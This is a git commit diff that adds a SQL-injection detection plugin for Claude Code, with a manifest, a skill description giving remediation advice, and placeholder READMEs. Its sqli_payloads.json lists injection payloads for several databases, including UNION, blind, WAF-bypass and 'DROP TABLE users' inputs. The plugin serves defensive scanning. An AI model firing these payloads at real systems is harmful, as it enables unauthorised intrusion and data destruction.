Initial commit
This commit is contained in:
15
.claude-plugin/plugin.json
Normal file
15
.claude-plugin/plugin.json
Normal file
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"name": "sql-injection-detector",
|
||||
"description": "Detect SQL injection vulnerabilities",
|
||||
"version": "1.0.0",
|
||||
"author": {
|
||||
"name": "Jeremy Longshore",
|
||||
"email": "[email protected]"
|
||||
},
|
||||
"skills": [
|
||||
"./skills"
|
||||
],
|
||||
"commands": [
|
||||
"./commands"
|
||||
]
|
||||
}
|
||||
3
README.md
Normal file
3
README.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# sql-injection-detector
|
||||
|
||||
Detect SQL injection vulnerabilities
|
||||
8
commands/detect-sqli.md
Normal file
8
commands/detect-sqli.md
Normal file
@@ -0,0 +1,8 @@
|
||||
---
|
||||
description: DESCRIPTION_PLACEHOLDER
|
||||
shortcut: SHORTCUT_PLACEHOLDER
|
||||
---
|
||||
|
||||
# TITLE_PLACEHOLDER
|
||||
|
||||
CONTENT_PLACEHOLDER
|
||||
65
plugin.lock.json
Normal file
65
plugin.lock.json
Normal file
@@ -0,0 +1,65 @@
|
||||
{
|
||||
"$schema": "internal://schemas/plugin.lock.v1.json",
|
||||
"pluginId": "gh:jeremylongshore/claude-code-plugins-plus:plugins/security/sql-injection-detector",
|
||||
"normalized": {
|
||||
"repo": null,
|
||||
"ref": "refs/tags/v20251128.0",
|
||||
"commit": "63191d755b60d9d053d2aaabf1fb3fc4d53e5de6",
|
||||
"treeHash": "2816138dc86f0e4452361ac112c0a9da86bd2f47e3482970193b6d8dcdac4c9c",
|
||||
"generatedAt": "2025-11-28T10:18:46.918085Z",
|
||||
"toolVersion": "publish_plugins.py@0.2.0"
|
||||
},
|
||||
"origin": {
|
||||
"remote": "git@github.com:zhongweili/42plugin-data.git",
|
||||
"branch": "master",
|
||||
"commit": "aa1497ed0949fd50e99e70d6324a29c5b34f9390",
|
||||
"repoRoot": "/Users/zhongweili/projects/openmind/42plugin-data"
|
||||
},
|
||||
"manifest": {
|
||||
"name": "sql-injection-detector",
|
||||
"description": "Detect SQL injection vulnerabilities",
|
||||
"version": "1.0.0"
|
||||
},
|
||||
"content": {
|
||||
"files": [
|
||||
{
|
||||
"path": "README.md",
|
||||
"sha256": "6a44db0798ef0c19a8171e9401d5f4da1c757a46ccf996bffda8580c75105c91"
|
||||
},
|
||||
{
|
||||
"path": ".claude-plugin/plugin.json",
|
||||
"sha256": "48eb4dff082204458c6c94d690deb1cbb175c680f82d97a52fe9c27d9c0ffef5"
|
||||
},
|
||||
{
|
||||
"path": "commands/detect-sqli.md",
|
||||
"sha256": "26981dafecd0bda9d89082c091325c9fdc3ac197318243e952dde0b1a38f4088"
|
||||
},
|
||||
{
|
||||
"path": "skills/sql-injection-detector/SKILL.md",
|
||||
"sha256": "2bcef6920bb6edc336eeec2902ba8c95e48339055675ad44eb5adaca8eec8c48"
|
||||
},
|
||||
{
|
||||
"path": "skills/sql-injection-detector/references/README.md",
|
||||
"sha256": "f5cc4bfe2df7272b3d2b60f8a57cb0fef7909155a4d0544c11fec4124e000e8f"
|
||||
},
|
||||
{
|
||||
"path": "skills/sql-injection-detector/scripts/README.md",
|
||||
"sha256": "df426a09af39312713d585444f99ae1b6f989c801308c525f7e7c9a7d859816a"
|
||||
},
|
||||
{
|
||||
"path": "skills/sql-injection-detector/assets/README.md",
|
||||
"sha256": "d85eb3cb27e340a60eb4bc8e94a3f0dc3ceca9172543155f0599f90168b7f8c7"
|
||||
},
|
||||
{
|
||||
"path": "skills/sql-injection-detector/assets/sqli_payloads.json",
|
||||
"sha256": "05eb2e09bf4bd05bfa3b2711f972cf1ea55c91e57e2c3009d036370f5ba91ae1"
|
||||
}
|
||||
],
|
||||
"dirSha256": "2816138dc86f0e4452361ac112c0a9da86bd2f47e3482970193b6d8dcdac4c9c"
|
||||
},
|
||||
"security": {
|
||||
"scannedAt": null,
|
||||
"scannerVersion": null,
|
||||
"flags": []
|
||||
}
|
||||
}
|
||||
56
skills/sql-injection-detector/SKILL.md
Normal file
56
skills/sql-injection-detector/SKILL.md
Normal file
@@ -0,0 +1,56 @@
|
||||
---
|
||||
name: detecting-sql-injection-vulnerabilities
|
||||
description: |
|
||||
This skill enables Claude to detect SQL injection vulnerabilities in code. It uses the sql-injection-detector plugin to analyze codebases, identify potential SQL injection flaws, and provide remediation guidance. Use this skill when the user asks to find SQL injection vulnerabilities, scan for SQL injection, or check code for SQL injection risks. The skill is triggered by phrases like "detect SQL injection", "scan for SQLi", or "check for SQL injection vulnerabilities".
|
||||
allowed-tools: Read, Write, Edit, Grep, Glob, Bash
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
This skill empowers Claude to proactively identify and address SQL injection vulnerabilities within a codebase. By leveraging the sql-injection-detector plugin, Claude can perform comprehensive scans, pinpoint potential security flaws, and offer actionable recommendations to mitigate risks. This ensures more secure and robust applications.
|
||||
|
||||
## How It Works
|
||||
|
||||
1. **Initiate Scan**: Upon receiving a relevant request, Claude activates the sql-injection-detector plugin.
|
||||
2. **Code Analysis**: The plugin analyzes the codebase, examining code patterns, input vectors, and query contexts.
|
||||
3. **Vulnerability Identification**: The plugin identifies potential SQL injection vulnerabilities, categorizing them by severity.
|
||||
4. **Report Generation**: A detailed report is generated, outlining the identified vulnerabilities, their locations, and recommended remediation steps.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
This skill activates when you need to:
|
||||
- Audit a codebase for SQL injection vulnerabilities.
|
||||
- Secure a web application against SQL injection attacks.
|
||||
- Review code changes for potential SQL injection risks.
|
||||
- Understand how SQL injection vulnerabilities occur and how to prevent them.
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Securing a Web Application
|
||||
|
||||
User request: "Scan my web application for SQL injection vulnerabilities."
|
||||
|
||||
The skill will:
|
||||
1. Activate the sql-injection-detector plugin.
|
||||
2. Scan the web application's codebase for potential SQL injection flaws.
|
||||
3. Generate a report detailing any identified vulnerabilities, their severity, and remediation recommendations.
|
||||
|
||||
### Example 2: Reviewing Code Changes
|
||||
|
||||
User request: "Check these code changes for potential SQL injection risks."
|
||||
|
||||
The skill will:
|
||||
1. Activate the sql-injection-detector plugin.
|
||||
2. Analyze the provided code changes for potential SQL injection vulnerabilities.
|
||||
3. Provide feedback on the security implications of the changes and suggest improvements.
|
||||
|
||||
## Best Practices
|
||||
|
||||
- **Input Validation**: Always validate and sanitize user inputs to prevent malicious data from entering the system.
|
||||
- **Parameterized Queries**: Utilize parameterized queries or prepared statements to prevent SQL injection attacks.
|
||||
- **Least Privilege**: Grant database users only the necessary privileges to minimize the impact of a potential SQL injection attack.
|
||||
|
||||
## Integration
|
||||
|
||||
This skill integrates seamlessly with other code analysis and security plugins within the Claude Code ecosystem. It can be used in conjunction with static analysis tools, dynamic testing frameworks, and vulnerability management systems to provide a comprehensive security solution.
|
||||
7
skills/sql-injection-detector/assets/README.md
Normal file
7
skills/sql-injection-detector/assets/README.md
Normal file
@@ -0,0 +1,7 @@
|
||||
# Assets
|
||||
|
||||
Bundled resources for sql-injection-detector skill
|
||||
|
||||
- [ ] sqli_payloads.json: JSON file containing a list of SQL injection payloads for different attack vectors.
|
||||
- [ ] remediation_templates/: Directory containing code templates for parameterized queries in various languages (Python, JavaScript, etc.).
|
||||
- [ ] example_code/: Directory containing vulnerable and secure code examples for SQL injection.
|
||||
131
skills/sql-injection-detector/assets/sqli_payloads.json
Normal file
131
skills/sql-injection-detector/assets/sqli_payloads.json
Normal file
@@ -0,0 +1,131 @@
|
||||
{
|
||||
"_comment": "SQL Injection Payloads for different attack vectors.",
|
||||
"payloads": [
|
||||
{
|
||||
"_comment": "Basic SQL Injection payloads",
|
||||
"type": "basic",
|
||||
"description": "Simple single quote injection.",
|
||||
"payload": "' OR '1'='1",
|
||||
"database": "all",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=' OR '1'='1"
|
||||
},
|
||||
{
|
||||
"_comment": "Numeric context bypass",
|
||||
"type": "numeric",
|
||||
"description": "Bypass numeric context with string injection.",
|
||||
"payload": "1 OR 1=1",
|
||||
"database": "all",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/item?id=1 OR 1=1"
|
||||
},
|
||||
{
|
||||
"_comment": "String concatenation for MySQL",
|
||||
"type": "string_concat",
|
||||
"description": "String concatenation in MySQL.",
|
||||
"payload": "\" UNION SELECT user(), database() -- -",
|
||||
"database": "mysql",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=\" UNION SELECT user(), database() -- -"
|
||||
},
|
||||
{
|
||||
"_comment": "String concatenation for PostgreSQL",
|
||||
"type": "string_concat",
|
||||
"description": "String concatenation in PostgreSQL.",
|
||||
"payload": "' || (SELECT user) || '",
|
||||
"database": "postgresql",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=' || (SELECT user) || '"
|
||||
},
|
||||
{
|
||||
"_comment": "String concatenation for SQL Server",
|
||||
"type": "string_concat",
|
||||
"description": "String concatenation in SQL Server.",
|
||||
"payload": "'+(SELECT user)+'",
|
||||
"database": "sqlserver",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q='+(SELECT user)+'"
|
||||
},
|
||||
{
|
||||
"_comment": "String concatenation for Oracle",
|
||||
"type": "string_concat",
|
||||
"description": "String concatenation in Oracle.",
|
||||
"payload": "'||(SELECT user FROM dual)||'",
|
||||
"database": "oracle",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q='||(SELECT user FROM dual)||'"
|
||||
},
|
||||
{
|
||||
"_comment": "Error-based SQL injection (MySQL)",
|
||||
"type": "error_based",
|
||||
"description": "Error-based SQL injection using `extractvalue()` in MySQL.",
|
||||
"payload": "' AND extractvalue(rand(),concat(0x3a,(select user()))) #",
|
||||
"database": "mysql",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=' AND extractvalue(rand(),concat(0x3a,(select user()))) #"
|
||||
},
|
||||
{
|
||||
"_comment": "Time-based blind SQL injection (MySQL)",
|
||||
"type": "time_based",
|
||||
"description": "Time-based blind SQL injection using `sleep()` in MySQL.",
|
||||
"payload": "' AND IF(substring(user(),1,1)='r',sleep(5),1) #",
|
||||
"database": "mysql",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=' AND IF(substring(user(),1,1)='r',sleep(5),1) #"
|
||||
},
|
||||
{
|
||||
"_comment": "Boolean-based blind SQL injection (MySQL)",
|
||||
"type": "boolean_based",
|
||||
"description": "Boolean-based blind SQL injection (MySQL).",
|
||||
"payload": "' AND 1=1 #",
|
||||
"database": "mysql",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=' AND 1=1 #"
|
||||
},
|
||||
{
|
||||
"_comment": "Stacked queries (MySQL)",
|
||||
"type": "stacked_queries",
|
||||
"description": "Stacked queries injection in MySQL.",
|
||||
"payload": "'; DROP TABLE users;--",
|
||||
"database": "mysql",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q='; DROP TABLE users;--"
|
||||
},
|
||||
{
|
||||
"_comment": "Bypass WAF with obfuscation",
|
||||
"type": "waf_bypass",
|
||||
"description": "Bypassing WAF with case randomization.",
|
||||
"payload": "' UnIoN SeLeCt 1,2,3 -- -",
|
||||
"database": "all",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q=' UnIoN SeLeCt 1,2,3 -- -"
|
||||
},
|
||||
{
|
||||
"_comment": "Cookie-based injection",
|
||||
"type": "cookie",
|
||||
"description": "SQL injection in cookie value.",
|
||||
"payload": "' OR '1'='1",
|
||||
"database": "all",
|
||||
"vector": "Cookie",
|
||||
"example": "Set-Cookie: sessionid=' OR '1'='1"
|
||||
},
|
||||
{
|
||||
"_comment": "Header-based injection",
|
||||
"type": "header",
|
||||
"description": "SQL injection in HTTP Header value.",
|
||||
"payload": "' OR '1'='1",
|
||||
"database": "all",
|
||||
"vector": "HTTP Header",
|
||||
"example": "X-Forwarded-For: ' OR '1'='1"
|
||||
},
|
||||
{
|
||||
"_comment": "SQLite injection",
|
||||
"type": "basic",
|
||||
"description": "Basic SQLite injection.",
|
||||
"payload": "'); DROP TABLE users; --",
|
||||
"database": "sqlite",
|
||||
"vector": "GET/POST Parameter",
|
||||
"example": "https://example.com/search?q='); DROP TABLE users; --"
|
||||
}
|
||||
]
|
||||
}
|
||||
8
skills/sql-injection-detector/references/README.md
Normal file
8
skills/sql-injection-detector/references/README.md
Normal file
@@ -0,0 +1,8 @@
|
||||
# References
|
||||
|
||||
Bundled resources for sql-injection-detector skill
|
||||
|
||||
- [ ] sql_injection_cheatsheet.md: Comprehensive SQL injection cheat sheet with various attack vectors and payloads.
|
||||
- [ ] owasp_sql_injection_prevention_cheatsheet.md: OWASP SQL Injection Prevention Cheat Sheet for secure coding practices.
|
||||
- [ ] database_specific_syntax.md: Documentation on database-specific syntax for SQL injection attacks (MySQL, PostgreSQL, etc.).
|
||||
- [ ] orm_security.md: Best practices for securing ORM usage against SQL injection vulnerabilities.
|
||||
7
skills/sql-injection-detector/scripts/README.md
Normal file
7
skills/sql-injection-detector/scripts/README.md
Normal file
@@ -0,0 +1,7 @@
|
||||
# Scripts
|
||||
|
||||
Bundled resources for sql-injection-detector skill
|
||||
|
||||
- [ ] sqli_scan.py: Script to automate SQL injection scanning with configurable payloads and target URLs.
|
||||
- [ ] sqli_exploit.py: Script to verify SQL injection vulnerabilities by attempting safe proof-of-concept exploits.
|
||||
- [ ] sqli_remediate.py: Script to generate parameterized query examples for remediation based on detected vulnerabilities.
|
||||
Reference in New Issue
Block a user